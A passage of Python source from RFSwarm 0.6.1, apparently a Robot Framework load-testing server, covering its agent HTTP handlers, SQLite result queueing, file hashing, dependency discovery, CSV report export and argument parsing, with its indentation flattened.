jsonresp["AgentName"] = jsonreq["AgentName"]
core.register_result(jsonreq["AgentName"], jsonreq["ResultName"], jsonreq["Result"],
jsonreq["ElapsedTime"], jsonreq["StartTime"], jsonreq["EndTime"],
jsonreq["ScriptIndex"], jsonreq["VUser"], jsonreq["Iteration"],
jsonreq["Sequence"])
jsonresp["Result"] = "Queued"
base.debugmsg(7, "Result: jsonresp[\"Result\"]:", jsonresp["Result"])
base.debugmsg(8, "jsonresp:", jsonresp)
message = json.dumps(jsonresp)
else:
httpcode = 404
message = "Unrecognised request: '{}'".format(parsed_path)
except Exception as e:
base.debugmsg(6, "AgentServer: do_POST:", e)
httpcode = 500
message = str(e)
self.send_response(httpcode)
self.end_headers()
self.wfile.write(bytes(message,"utf-8"))
return
def do_GET(self):
httpcode = 200
try:
parsed_path = urllib.parse.urlparse(self.path)
if (parsed_path.path == '/'):
jsonresp = {}
jsonresp["POST"] = {}
jsonresp["POST"]["AgentStatus"] = {}
jsonresp["POST"]["AgentStatus"]["URI"] = "/AgentStatus"
jsonresp["POST"]["AgentStatus"]["Body"] = {}
jsonresp["POST"]["AgentStatus"]["Body"]["AgentName"] = "<Agent Host Name>"
jsonresp["POST"]["AgentStatus"]["Body"]["Status"] = "<Agent Status>"
jsonresp["POST"]["AgentStatus"]["Body"]["AgentIPs"] = ["<Agent IP Address>","<Agent IP Address>"]
jsonresp["POST"]["AgentStatus"]["Body"]["Robots"] = "<sum>"
jsonresp["POST"]["AgentStatus"]["Body"]["CPU%"] = "0-100"
jsonresp["POST"]["AgentStatus"]["Body"]["MEM%"] = "0-100"
jsonresp["POST"]["AgentStatus"]["Body"]["NET%"] = "0-100"
jsonresp["POST"]["Jobs"] = {}
jsonresp["POST"]["Jobs"]["URI"] = "/Jobs"
jsonresp["POST"]["Jobs"]["Body"] = {}
jsonresp["POST"]["Jobs"]["Body"]["AgentName"] = "<Agent Host Name>"
jsonresp["POST"]["Scripts"] = {}
jsonresp["POST"]["Scripts"]["URI"] = "/Scripts"
jsonresp["POST"]["Scripts"]["Body"] = {}
jsonresp["POST"]["Scripts"]["Body"]["AgentName"] = "<Agent Host Name>"
jsonresp["POST"]["File"] = {}
jsonresp["POST"]["File"]["URI"] = "/File"
jsonresp["POST"]["File"]["Body"] = {}
jsonresp["POST"]["File"]["Body"]["AgentName"] = "<Agent Host Name>"
jsonresp["POST"]["File"]["Body"]["Hash"] = "<File Hash, provided by /Scripts>"
jsonresp["POST"]["Result"] = {}
jsonresp["POST"]["Result"]["URI"] = "/Result"
jsonresp["POST"]["Result"]["Body"] = {}
jsonresp["POST"]["Result"]["Body"]["AgentName"] = "<Agent Host Name>"
jsonresp["POST"]["Result"]["Body"]["ResultName"] = "<A Text String>"
jsonresp["POST"]["Result"]["Body"]["Result"] = "<PASS | FAIL>"
jsonresp["POST"]["Result"]["Body"]["ElapsedTime"] = "<seconds as decimal number>"
jsonresp["POST"]["Result"]["Body"]["StartTime"] = "<epoch seconds as decimal number>"
jsonresp["POST"]["Result"]["Body"]["EndTime"] = "<epoch seconds as decimal number>"
jsonresp["POST"]["Result"]["Body"]["ScriptIndex"] = "<Index>"
jsonresp["POST"]["Result"]["Body"]["VUser"] = "<user number>"
jsonresp["POST"]["Result"]["Body"]["Iteration"] = "<iteration number>"
jsonresp["POST"]["Result"]["Body"]["Sequence"] = "<sequence number that ResultName occurred in test case>"
message = json.dumps(jsonresp)
else:
httpcode = 404
message = "Unrecognised request: '{}'".format(parsed_path)
except Exception as e:
base.debugmsg(6, "AgentServer: do_GET:", e)
httpcode = 500
message = str(e)
self.send_response(httpcode)
self.end_headers()
self.wfile.write(bytes(message,"utf-8"))
return
def handle_http(self):
return
def respond(self):
return
# log_request is here to stop BaseHTTPRequestHandler logging to the console
# https://stackoverflow.com/questions/10651052/how-to-quiet-simplehttpserver/10651257#10651257
def log_request(self, code='-', size='-'):
pass
class RFSwarmBase:
version="0.6.1"
debuglvl = 0
config = None
gui_ini = None
save_ini = True
scriptcount = 0
scriptlist = [{}]
scriptfiles = {}
index = ""
file = ""
sheet = ""
run_name = ""
run_name_current = ""
run_start = 0
run_end = 0
run_paused = False
run_threads = {}
total_robots = 0
robot_schedule = {"RunName": "", "Agents": {}, "Scripts": {}}
agentserver = None
agenthttpserver = None
updatethread = None
Agents = {}
agenttgridupdate = 0
posttest = False
dir_path = os.path.dirname(os.path.realpath(__file__))
resultsdir = ""
run_dbthread = True
dbthread = None
datapath = ""
dbfile = ""
datadb = None
dbqueue = {"Write": [], "Read": [], "ReadResult": {}, "Agents": [], "Results": []}
# #000000 = Black
defcolours = ['#000000']
appstarted = False
args = None
gui = None
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# base application
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
def debugmsg(self, lvl, *msg):
msglst = []
prefix = ""
if self.debuglvl >= lvl:
try:
if self.debuglvl >= 4:
stack = inspect.stack()
the_class = stack[1][0].f_locals["self"].__class__.__name__
the_method = stack[1][0].f_code.co_name
the_line = stack[1][0].f_lineno
# print("RFSwarmBase: debugmsg: I was called by {}.{}()".format(str(the_class), the_method))
prefix = "{}: {}({}): [{}:{}] ".format(str(the_class), the_method, the_line, self.debuglvl, lvl)
# <36 + 1 tab
# if len(prefix.strip())<36:
# prefix = "{} ".format(prefix)
# <32 + 1 tab
if len(prefix.strip())<32:
prefix = "{} ".format(prefix)
# <28 + 1 tab
# if len(prefix.strip())<28:
# prefix = "{} ".format(prefix)
# <24 + 1 tab
if len(prefix.strip())<24:
prefix = "{} ".format(prefix)
msglst.append(str(prefix))
for itm in msg:
msglst.append(str(itm))
print(" ".join(msglst))
except:
pass
def str2bool(self, instr):
base.debugmsg(9, "instr:", instr)
# if instr in ["True", "true", "TRUE", "YES", "yes", "Yes", "1"]:
# return True
# return False
return str(instr).lower() in ("yes", "true", "t", "1")
def dict_factory(self, cursor, row):
d = {}
for idx, col in enumerate(cursor.description):
d[col[0]] = row[idx]
return d
def run_db_thread(self):
while base.run_dbthread:
if (self.datadb is None) or (base.run_name != base.run_name_current):
base.debugmsg(9, "run_db_thread: ensure_db")
self.ensure_db()
if self.datadb is not None:
if len(base.dbqueue["Write"])>0:
base.debugmsg(9, "run_db_thread: dbqueue: Write")
tmpq = list(base.dbqueue["Write"])
base.dbqueue["Write"] = []
base.debugmsg(9, "run_db_thread: dbqueue: Write: tmpq:", tmpq)
for item in tmpq:
if item["SQL"] and item["VALUES"]:
try:
base.debugmsg(9, "run_db_thread: dbqueue: Write: SQL:", item["SQL"], " VALUES:", item["VALUES"])
cur = self.datadb.cursor()
cur.execute(item["SQL"], item["VALUES"])
cur.close()
self.datadb.commit()
except Exception as e:
base.debugmsg(6, "run_db_thread: dbqueue: Write: Exception:", e)
base.debugmsg(6, "run_db_thread: dbqueue: Write: Item:", item)
else:
print("run_db_thread: dbqueue: Write: Item not written, missing key SQL or VALUES")
print("run_db_thread: dbqueue: Write: Item:", item)
if len(base.dbqueue["Read"])>0:
base.debugmsg(9, "run_db_thread: dbqueue: Read")
tmpq = list(base.dbqueue["Read"])
base.dbqueue["Read"] = []
base.debugmsg(9, "run_db_thread: dbqueue: Read: tmpq:", tmpq)
for item in tmpq:
if "SQL" in item: # and item["VALUES"]:
try:
base.debugmsg(9, "run_db_thread: dbqueue: Read: SQL:", item["SQL"])
self.datadb.row_factory = self.dict_factory
cur = self.datadb.cursor()
cur.execute(item["SQL"])
result = cur.fetchall()
base.debugmsg(9, "run_db_thread: dbqueue: Read: result:", result)
cur.close()
self.datadb.commit()
base.debugmsg(9, "run_db_thread: dbqueue: Read: result:", result)
if "KEY" in item:
base.dbqueue["ReadResult"][item["KEY"]] = result
except Exception as e:
base.debugmsg(6, "run_db_thread: dbqueue: Read: Exception:", e)
base.debugmsg(6, "run_db_thread: dbqueue: Read: Item:", item)
else:
print("run_db_thread: dbqueue: Read: Item not written, missing key SQL or VALUES")
print("run_db_thread: dbqueue: Read: Item:", item)
# Agents
if len(base.dbqueue["Agents"])>0:
base.debugmsg(9, "run_db_thread: dbqueue: Agents")
agntdata = list(base.dbqueue["Agents"])
base.dbqueue["Agents"] = []
base.debugmsg(9, "run_db_thread: dbqueue: Agents: agntdata:", agntdata)
try:
sql = "INSERT INTO Agents VALUES (?,?,?,?,?,?,?,?)"
cur = self.datadb.cursor()
cur.executemany(sql, agntdata)
cur.close()
self.datadb.commit()
except Exception as e:
base.debugmsg(6, "run_db_thread: dbqueue: Agents: Exception:", e)
base.debugmsg(6, "run_db_thread: dbqueue: Results: ", sql, agntdata)
# Results
if len(base.dbqueue["Results"])>0:
base.debugmsg(9, "run_db_thread: dbqueue: Results")
resdata = list(base.dbqueue["Results"])
base.dbqueue["Results"] = []
base.debugmsg(9, "run_db_thread: dbqueue: Results: resdata:", resdata)
try:
sql = "INSERT INTO Results VALUES (?,?,?,?,?,?,?,?,?,?)"
cur = self.datadb.cursor()
cur.executemany(sql, resdata)
cur.close()
self.datadb.commit()
except Exception as e:
base.debugmsg(6, "run_db_thread: dbqueue: Results: Exception:", e)
base.debugmsg(6, "run_db_thread: dbqueue: Results: ", sql, resdata)
time.sleep(0.1)
if self.datadb is not None:
self.datadb.close()
self.datadb = None
def ensure_db(self):
createschema = False
base.debugmsg(9, "run_name:", base.run_name)
if len(base.run_name)>0:
if base.run_name != base.run_name_current:
base.run_name_current = base.run_name
createschema = True
if createschema and self.datadb is not None:
base.debugmsg(5, "Disconnect and close DB")
self.datadb.commit()
self.datadb.close()
self.datadb = None
# check if dir exists
base.debugmsg(5, "dir_path:", base.dir_path)
# self.resultsdir = os.path.join(base.dir_path, "results")
if 'ResultsDir' not in base.config['Run']:
base.config['Run']['ResultsDir'] = os.path.join(base.dir_path, "results")
base.saveini()
self.resultsdir = base.config['Run']['ResultsDir']
if not os.path.exists(self.resultsdir):
os.mkdir(self.resultsdir)
base.datapath = os.path.join(self.resultsdir, base.run_name)
base.debugmsg(1, "datapath:", base.datapath)
if not os.path.exists(base.datapath):
os.mkdir(base.datapath)
# check if db exists
self.dbfile = os.path.join(base.datapath, "{}.db".format(base.run_name))
base.debugmsg(5, "dbfile:", self.dbfile)
if not os.path.exists(self.dbfile):
createschema = True
if self.datadb is None:
base.debugmsg(5, "Connect to DB")
self.datadb = sqlite3.connect(self.dbfile)
self.datadb.create_aggregate("percentile", 2, percentile)
self.datadb.create_aggregate("stdev", 1, stdevclass)
if createschema:
c = self.datadb.cursor()
# create tables
c.execute('''CREATE TABLE Agents
(agent text, status text, last_seen date, robots int, load num, cpu num, mem num, net num)''')
c.execute('''CREATE TABLE Results
(script_index int, virtual_user int, iteration int, agent text, sequence int, result_name text, result text, elapsed_time num, start_time num, end_time num)''')
# create indexes?
# create views
c.execute('''
CREATE VIEW "Summary" AS SELECT
r.result_name,
min(rp.elapsed_time) "min", avg(rp.elapsed_time) "avg", max(rp.elapsed_time) "max",
count(rp.result) as _pass,
count(rf.result) as _fail,
count(ro.result) as _other
FROM Results as r
LEFT JOIN Results as rp ON r.rowid == rp.rowid AND rp.result == "PASS"
LEFT JOIN Results as rf ON r.rowid == rf.rowid AND rf.result == "FAIL"
LEFT JOIN Results as ro ON r.rowid == ro.rowid AND ro.result <> "PASS" AND ro.result <> "FAIL"
GROUP BY
r.result_name
ORDER BY r.sequence
''')
self.datadb.commit()
def PrettyColName(self, colname):
base.debugmsg(8, "PrettyColName: colname:", colname)
newcolname = colname
# if newcolname[:1] == '_':
# newcolname = newcolname[1:]
# newcolname = newcolname.replace("_", " ")
cnlst = colname.split("_")
ncnlst = []
base.debugmsg(9, "PrettyColName: cnlst:", cnlst)
for word in cnlst:
base.debugmsg(9, "PrettyColName: word:", word)
if len(word)>0:
ncnlst.append(word.capitalize())
base.debugmsg(9, "PrettyColName: ncnlst:", ncnlst)
newcolname = " ".join(ncnlst)
base.debugmsg(8, "PrettyColName: newcolname:", newcolname)
return newcolname
def line_colour(self, grp):
if grp<len(base.defcolours):
return base.defcolours[grp]
else:
newcolour = self.make_colour()
base.debugmsg(9, "Initial newcolour:", newcolour)
while newcolour in base.defcolours:
base.debugmsg(9, base.defcolours)
newcolour = self.make_colour()
base.debugmsg(9, "newcolour:", newcolour)
base.defcolours.append(newcolour)
return newcolour
def make_colour(self):
hexchr = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
r1 = hexchr[random.randrange(len(hexchr))]
r2 = hexchr[random.randrange(len(hexchr))]
g1 = hexchr[random.randrange(len(hexchr))]
g2 = hexchr[random.randrange(len(hexchr))]
b1 = hexchr[random.randrange(len(hexchr))]
b2 = hexchr[random.randrange(len(hexchr))]
return "#{}{}{}{}{}{}".format(r1,r2,g1,g2,b1,b2)
def format_sec(self, sec_in):
if sec_in>3599:
hrs = int(sec_in/3600)
mins = int(sec_in/60) - (hrs*60)
# secs = sec_in - (((hrs*60) + mins) * 60)
if mins>0:
return "{}:{}".format(hrs, mins)
return "{}".format(hrs)
if sec_in>59:
mins = int(sec_in/60)
secs = sec_in - (mins * 60)
if secs>0:
return "{}:{}".format(mins, secs)
return "{}".format(mins)
return "{}".format(sec_in)
def hash_file(self, file, relpath):
BLOCKSIZE = 65536
hasher = hashlib.md5()
hasher.update(str(os.path.getmtime(file)).encode('utf-8'))
hasher.update(relpath.encode('utf-8'))
with open(file, 'rb') as afile:
buf = afile.read(BLOCKSIZE)
while len(buf) > 0:
hasher.update(buf)
buf = afile.read(BLOCKSIZE)
base.debugmsg(3, "file:", file, " hash:", hasher.hexdigest())
return hasher.hexdigest()
def remove_hash(self, hash):
remove = True
# base.scriptlist[r]["ScriptHash"]
base.debugmsg(8, "scriptlist:", base.scriptlist)
for scr in range(len(base.scriptlist)):
if "ScriptHash" in base.scriptlist[scr] and base.scriptlist[scr]["ScriptHash"] == hash:
remove = False
if remove:
del self.scriptfiles[hash]
def find_dependancies(self, hash):
keep_going = True
checking = False
# determine if is a robot file
base.debugmsg(8, "RFSwarmCore: find_dependancies", self.scriptfiles[hash])
localpath = self.scriptfiles[hash]['localpath']
localdir = os.path.dirname(localpath)
base.debugmsg(9, "RFSwarmCore: find_dependancies: localdir", localdir)
filename, fileext = os.path.splitext(localpath)
base.debugmsg(9, "RFSwarmCore: find_dependancies: filename, fileext:", filename, fileext)
if (fileext in [".robot", ".Robot"] and keep_going):
with open(localpath, 'rb') as afile:
for fline in afile:
line = fline.decode("utf-8")
if checking and '*** ' in line:
checking = False
if checking:
base.debugmsg(9, "RFSwarmCore: find_dependancies: line", line)
try:
if line.strip()[:1] != "#":
linearr = line.strip().split()
base.debugmsg(7, "find_dependancies: linearr", linearr)
resfile = None;
if len(linearr)>1 and linearr[0].upper() in ['RESOURCE','VARIABLES','LIBRARY']:
base.debugmsg(9, "find_dependancies: linearr[1]", linearr[1])
resfile = linearr[1]
if not resfile and len(linearr)>2 and (linearr[0].upper() == 'METADATA' and linearr[1].upper() == 'FILE'):
base.debugmsg(9, "find_dependancies: linearr[2]", linearr[2])
resfile = linearr[2]
if not resfile and len(linearr)>2 and (linearr[0].upper() == 'IMPORT' and linearr[1].upper() == 'LIBRARY'):
base.debugmsg(9, "find_dependancies: linearr[2]", linearr[2])
resfile = linearr[2]
if resfile:
base.debugmsg(7, "find_dependancies: resfile", resfile)
# here we are assuming the resfile is a relative path! should we also consider files with full local paths?
localrespath = os.path.abspath(os.path.join(localdir, resfile))
base.debugmsg(8, "find_dependancies: localrespath", localrespath)
if os.path.isfile(localrespath):
newhash = self.hash_file(localrespath, resfile)
base.debugmsg(9, "find_dependancies: newhash", newhash)
self.scriptfiles[newhash] = {
'id': newhash,
'localpath': localrespath,
'relpath': resfile,
'type': linearr[0]
}
t = threading.Thread(target=base.find_dependancies, args=(newhash, ))
t.start()
else:
filelst = glob.glob(localrespath)
for file in filelst:
base.debugmsg(9, "find_dependancies: file", file)
relpath = file.replace(localdir, "")[1:]
base.debugmsg(9, "find_dependancies: relpath", relpath)
newhash = self.hash_file(file, relpath)
base.debugmsg(9, "find_dependancies: newhash", newhash)
self.scriptfiles[newhash] = {
'id': newhash,
'localpath': file,
'relpath': relpath,
'type': linearr[0]
}
except Exception as e:
base.debugmsg(6, "find_dependancies: line", line)
base.debugmsg(6, "find_dependancies: Exception", e)
base.debugmsg(6, "find_dependancies: linearr", linearr)
# http://robotframework.org/robotframework/latest/RobotFrameworkUserGuide.html#test-data-sections
match = re.search('\*+([^*\v]+)', line)
if match is not None:
base.debugmsg(6, "find_dependancies: match.group(0)", match.group(1))
if match.group(1).strip().upper() in ['SETTINGS', 'SETTING', 'TEST CASES', 'TEST CASE', 'TASKS', 'TASK', 'KEYWORDS', 'KEYWORD']:
checking = True
def check_files_changed(self):
# self.scriptfiles[hash]
checkhashes = list(self.scriptfiles.keys())
base.debugmsg(3, "checkhashes:", checkhashes)
for chkhash in checkhashes:
file_data = self.scriptfiles[chkhash]
script_hash = base.hash_file(file_data['localpath'], file_data['relpath'])
if script_hash != chkhash:
# file changed
base.debugmsg(3, "File's hash has changed: chkhash:", chkhash, " script_hash:",script_hash, " localpath:", file_data['localpath'])
# check if file is in script list and update it's hash
# base.scriptlist[r]["ScriptHash"] = script_hash
for iid in range(len(base.scriptlist)):
base.debugmsg(3, "base.scriptlist[",iid,"]:", base.scriptlist[iid])
if "ScriptHash" in base.scriptlist[iid] and chkhash == base.scriptlist[iid]["ScriptHash"]:
base.scriptlist[iid]["ScriptHash"] = script_hash
break;
if script_hash not in base.scriptfiles:
file_data['id'] = script_hash
base.scriptfiles[script_hash] = file_data
t = threading.Thread(target=base.find_dependancies, args=(script_hash, ))
t.start()
self.remove_hash(chkhash)
def get_relative_path(self, path1, path2):
base.debugmsg(7, "path1:", path1)
base.debugmsg(7, "path2:", path2)
# commonpath = os.path.commonpath([path1, path2])
base.debugmsg(8, "os.path.isdir(path1):", os.path.isdir(path1))
base.debugmsg(8, "os.path.isfile(path1):", os.path.isfile(path1))
# if not os.path.isdir(path1):
if os.path.isfile(path1) or not os.path.exists(path1):
path1 = os.path.dirname(path1)
base.debugmsg(7, "path1:", path1)
relpath = os.path.relpath(path2, start=path1)
# https://www.geeksforgeeks.org/python-os-path-relpath-method/
base.debugmsg(5, "relpath:", relpath)
return relpath
def saveini(self):
self.debugmsg(6, "save_ini:", self.save_ini)
if self.save_ini:
with open(base.gui_ini, 'w') as configfile: # save
base.config.write(configfile)
self.debugmsg(6, "File Saved:", self.gui_ini)
def get_next_agent(self):
base.debugmsg(9, "get_next_agent")
base.debugmsg(8, "get_next_agent: base.Agents:", base.Agents)
if len(base.Agents) <1:
base.debugmsg(5, "Agents:",len(base.Agents))
return None
if base.args.agents:
neededagents = int(base.args.agents)
base.debugmsg(5, "Agents:",len(base.Agents)," Agents Needed:", neededagents)
if len(base.Agents) < neededagents:
return None
loadtpl = []
robottpl = []
for agnt in base.Agents.keys():
base.debugmsg(9, "get_next_agent: agnt:", agnt)
loadtpl.append([agnt, base.Agents[agnt]['LOAD%']])
robottpl.append([agnt, base.Agents[agnt]['AssignedRobots']])
base.debugmsg(9, "get_next_agent: robottpl:", robottpl)
# Start with agent with least robots
robottpl.sort(key=itemgetter(1))
base.debugmsg(9, "get_next_agent: robottpl:", robottpl)
if robottpl[0][1] < 10:
return robottpl[0][0]
else:
# try for agent with least load
base.debugmsg(9, "get_next_agent: loadtpl:", loadtpl)
loadtpl.sort(key=itemgetter(1))
base.debugmsg(9, "get_next_agent: loadtpl:", loadtpl)
if loadtpl[0][1] < 95:
return loadtpl[0][0]
else:
return None
def addScriptRow(self):
base.scriptcount += 1
row = int("{}".format(base.scriptcount))
base.scriptlist.append({})
base.scriptlist[base.scriptcount]["Index"] = base.scriptcount
num = "10"
base.scriptlist[base.scriptcount]["Users"] = int(num)
num = "0"
base.scriptlist[base.scriptcount]["Delay"] = int(num)
num = "1800" # 30 minutes
base.scriptlist[base.scriptcount]["RampUp"] = int(num)
# num = "18000" # 18000 sec = 5 hours
num = "7200" # 3600 sec = 1hr, 7200 sec = 2 hours
base.scriptlist[base.scriptcount]["Run"] = int(num)
base.scriptlist[row]["Test"] = ""
if not base.args.nogui and base.gui:
base.gui.addScriptRow()
def UpdateRunStats_SQL(self):
display_percentile = base.config['Run']['display_percentile']
base.debugmsg(6, "display_percentile:", display_percentile)
gblist = []
display_index = base.str2bool(base.config['Run']['display_index'])
base.debugmsg(6, "display_index:", display_index)
if display_index:
gblist.append("r.script_index")
display_iteration = base.str2bool(base.config['Run']['display_iteration'])
base.debugmsg(6, "display_iteration:", display_iteration)
if display_iteration:
gblist.append("r.iteration")
display_sequence = base.str2bool(base.config['Run']['display_sequence'])
base.debugmsg(6, "display_sequence:", display_sequence)
if display_sequence:
gblist.append("r.sequence")
gblist.append("r.result_name")
base.debugmsg(6, "gblist:", gblist)
gbcols = ", ".join(gblist)
base.debugmsg(6, "gbcols:", gbcols)
sql = "SELECT "
if len(gblist)>0:
sql += gbcols
sql += ", "
sql += "round(min(rp.elapsed_time),3) 'min', "
sql += "round(avg(rp.elapsed_time),3) 'avg', "
sql += "round(percentile(rp.elapsed_time, {}),3) '{}%ile', ".format(display_percentile, display_percentile)
sql += "round(max(rp.elapsed_time),3) 'max', "
sql += "round(stdev(rp.elapsed_time),3) 'stDev', "
sql += "count(rp.result) as _pass, "
sql += "count(rf.result) as _fail, "
sql += "count(ro.result) as _other "
sql += "FROM Results as r "
sql += "LEFT JOIN Results as rp ON r.rowid == rp.rowid AND rp.result == 'PASS' "
sql += "LEFT JOIN Results as rf ON r.rowid == rf.rowid AND rf.result == 'FAIL' "
sql += "LEFT JOIN Results as ro ON r.rowid == ro.rowid AND ro.result <> 'PASS' AND ro.result <> 'FAIL' "
sql += "WHERE r.start_time>{} ".format(base.robot_schedule["Start"])
if len(gblist)>0:
sql += "GROUP BY "
sql += gbcols
sql += " ORDER BY r.sequence"
base.debugmsg(7, "sql:", sql)
base.dbqueue["Read"].append({"SQL": sql, "KEY": "RunStats"})
def report_text(self, _event=None):
base.debugmsg(6, "report_text")
colno = 0
base.debugmsg(6, "RunStats")
if "RunStats" not in base.dbqueue["ReadResult"]:
base.debugmsg(6, "UpdateRunStats_SQL")
base.UpdateRunStats_SQL()
base.debugmsg(6, "Wait for RunStats")
while "RunStats" not in base.dbqueue["ReadResult"]:
time.sleep(0.1)
base.debugmsg(6, "Wait for RunStats>0")
while len(base.dbqueue["ReadResult"]["RunStats"])<1:
time.sleep(0.1)
if "RunStats" in base.dbqueue["ReadResult"] and len(base.dbqueue["ReadResult"]["RunStats"])>0:
base.debugmsg(7, "RunStats:", base.dbqueue["ReadResult"]["RunStats"])
# request agent data for agent report
sql = "SELECT * "
sql += "FROM Agents as a "
sql += "WHERE a.last_seen>{} ".format(base.robot_schedule["Start"])
sql += " ORDER BY a.last_seen"
base.dbqueue["Read"].append({"SQL": sql, "KEY": "Agents"})
# request agent data for agent report
# request raw data for agent report
sql = "SELECT * "
sql += "FROM Results as r "
sql += "WHERE r.start_time>{} ".format(base.robot_schedule["Start"])
sql += " ORDER BY r.start_time"
base.dbqueue["Read"].append({"SQL": sql, "KEY": "RawResults"})
# request raw data for agent report
fileprefix = base.run_name
base.debugmsg(8, "fileprefix:", fileprefix)
if len(fileprefix)<1:
fileprefix = os.path.split(base.datapath)[-1]
base.debugmsg(9, "fileprefix:", fileprefix)
txtreport = os.path.join(base.datapath, "{}_summary.csv".format(fileprefix))
base.debugmsg(7, "txtreport:", txtreport)
base.debugmsg(1, "Summary File:", txtreport)
base.debugmsg(9, "RunStats:", base.dbqueue["ReadResult"]["RunStats"])
cols = []
for col in base.dbqueue["ReadResult"]["RunStats"][0].keys():
base.debugmsg(9, "colno:", colno, "col:", col)
cols.append (base.PrettyColName(col))
base.debugmsg(9, "cols:", cols)
with open(txtreport, 'w', newline='') as csvfile:
writer = csv.writer(csvfile, dialect='excel')
writer.writerow(cols)
for row in base.dbqueue["ReadResult"]["RunStats"]:
rowdata = row.values()
writer.writerow(rowdata)
if not base.args.nogui:
tkm.showinfo("RFSwarm - Info", "Report data saved to: {}".format(base.datapath))
base.debugmsg(6, "Wait for Agents")
while "Agents" not in base.dbqueue["ReadResult"]:
time.sleep(0.1)
base.debugmsg(6, "Wait for Agents>0")
while len(base.dbqueue["ReadResult"]["Agents"])<1:
time.sleep(0.1)
if "Agents" in base.dbqueue["ReadResult"] and len(base.dbqueue["ReadResult"]["Agents"])>0:
fileprefix = base.run_name
base.debugmsg(9, "fileprefix:", fileprefix)
if len(fileprefix)<1:
fileprefix = os.path.split(base.datapath)[-1]
base.debugmsg(9, "fileprefix:", fileprefix)
txtreport = os.path.join(base.datapath, "{}_agent_data.csv".format(fileprefix))
base.debugmsg(6, "txtreport:", txtreport)
base.debugmsg(1, "Agent Data:", txtreport)
cols = []
for col in base.dbqueue["ReadResult"]["Agents"][0].keys():
base.debugmsg(9, "UpdateRunStats: colno:", colno, "col:", col)
cols.append (base.PrettyColName(col))
base.debugmsg(9, "cols:", cols)
with open(txtreport, 'w', newline='') as csvfile:
# writer = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
writer = csv.writer(csvfile, dialect='excel')
writer.writerow(cols)
for row in base.dbqueue["ReadResult"]["Agents"]:
rowdata = row.values()
writer.writerow(rowdata)
base.debugmsg(6, "Wait for RawResults")
while "RawResults" not in base.dbqueue["ReadResult"]:
time.sleep(0.1)
base.debugmsg(6, "Wait for RawResults>0")
while len(base.dbqueue["ReadResult"]["RawResults"])<1:
time.sleep(0.1)
if "RawResults" in base.dbqueue["ReadResult"] and len(base.dbqueue["ReadResult"]["RawResults"])>0:
fileprefix = base.run_name
base.debugmsg(9, "fileprefix:", fileprefix)
if len(fileprefix)<1:
fileprefix = os.path.split(base.datapath)[-1]
base.debugmsg(9, "fileprefix:", fileprefix)
txtreport = os.path.join(base.datapath, "{}_raw_result_data.csv".format(fileprefix))
base.debugmsg(6, "txtreport:", txtreport)
base.debugmsg(1, "Raw Result Data:", txtreport)
cols = []
for col in base.dbqueue["ReadResult"]["RawResults"][0].keys():
base.debugmsg(9, "colno:", colno, "col:", col)
cols.append (base.PrettyColName(col))
base.debugmsg(9, "cols:", cols)
with open(txtreport, 'w', newline='') as csvfile:
# writer = csv.writer(csvfile, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
writer = csv.writer(csvfile, dialect='excel')
writer.writerow(cols)
for row in base.dbqueue["ReadResult"]["RawResults"]:
rowdata = row.values()
writer.writerow(rowdata)
def report_html(self, _event=None):
print("report_html")
if not base.args.nogui:
tkm.showwarning("RFSwarm - Warning", "Generating HTML Reports not implimented yet")
else:
base.debugmsg(1, "RFSwarm - Warning", "Generating HTML Reports not implimented yet")
def report_word(self, _event=None):
print("report_word")
if not base.args.nogui:
tkm.showwarning("RFSwarm - Warning", "Generating Word Reports not implimented yet")
else:
base.debugmsg(1, "RFSwarm - Warning", "Generating Word Reports not implimented yet")
# class rfswarm:
class RFSwarmCore:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# core application
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
def __init__(self, master=None):
base.debugmsg(0, "Robot Framework Swarm: GUI/Server")
base.debugmsg(0, " Version", base.version)
signal.signal(signal.SIGINT, self.on_closing)
base.debugmsg(9, "ArgumentParser")
# Check for command line args
parser = argparse.ArgumentParser()
parser.add_argument('-g', '--debug', help='Set debug level, default level is 0')
parser.add_argument('-v', '--version', help='Display the version and exit', action='store_true')
parser.add_argument('-i', '--ini', help='path to alternate ini file') # nargs='?',
parser.add_argument('-s', '--scenario', help='Load this scenario file')
parser.add_argument('-r', '--run', help='Run the scenario automatically after loading', action='store_true')
parser.add_argument('-a', '--agents', help='Wait for this many agents before starting (default 1)')
parser.add_argument('-n', '--nogui', help='Don\'t display the GUI', action='store_true')
parser.add_argument('-d', '--dir', help='Results directory')
parser.add_argument('-e', '--ipaddress', help='IP Address to bind the server to')
parser.add_argument('-p', '--port', help='Port number to bind the server to')
base.args = parser.parse_args()
base.debugmsg(6, "base.args: ", base.args)
if base.args.debug:
base.debuglvl = int(base.args.debug)
if base.args.version:
exit()
base.debugmsg(6, "ConfigParser")
base.config = configparser.ConfigParser()
scrdir = os.path.dirname(__file__)
base.debugmsg(6, "scrdir: ", scrdir)
#
# ensure ini file
#
base.gui_ini = os.path.join(scrdir, "RFSwarmGUI.ini")
if base.args.ini:
base.save_ini = False
base.debugmsg(5, "base.args.ini: ", base.args.ini)
base.gui_ini = base.args.ini
if os.path.isfile(base.gui_ini):
base.debugmsg(9, "agentini: ", base.gui_ini)
base.config.read(base.gui_ini)
else:
base.saveini()
base.debugmsg(0, " Configuration File: ", base.gui_ini)
base.debugmsg(5, "base.config: ", base.config._sections)
if base.args.scenario:
base.save_ini = False
base.debugmsg(5, "base.args.scenario: ", base.args.scenario)
scenariofile = os.path.abspath(base.args.scenario)
base.debugmsg(5, "scenariofile: ", scenariofile)
base.config['Plan']['ScenarioFile'] = scenariofile
if base.args.dir:
base.save_ini = False
base.debugmsg(5, "base.args.dir: ", base.args.dir)
ResultsDir = os.path.abspath(base.args.dir)
base.debugmsg(5, "ResultsDir: ", ResultsDir)
base.config['Run']['ResultsDir'] = ResultsDir
if base.args.ipaddress:
base.save_ini = False
base.debugmsg(5, "base.args.ipaddress: ", base.args.ipaddress)
base.config['Server']['BindIP'] = base.args.ipaddress
if base.args.port:
base.save_ini = False
base.debugmsg(5, "base.args.port: ", base.args.port)
base.config['Server']['BindPort'] = base.args.port
#
# GUI
#
if 'GUI' not in base.config:
base.config['GUI'] = {}
base.saveini()
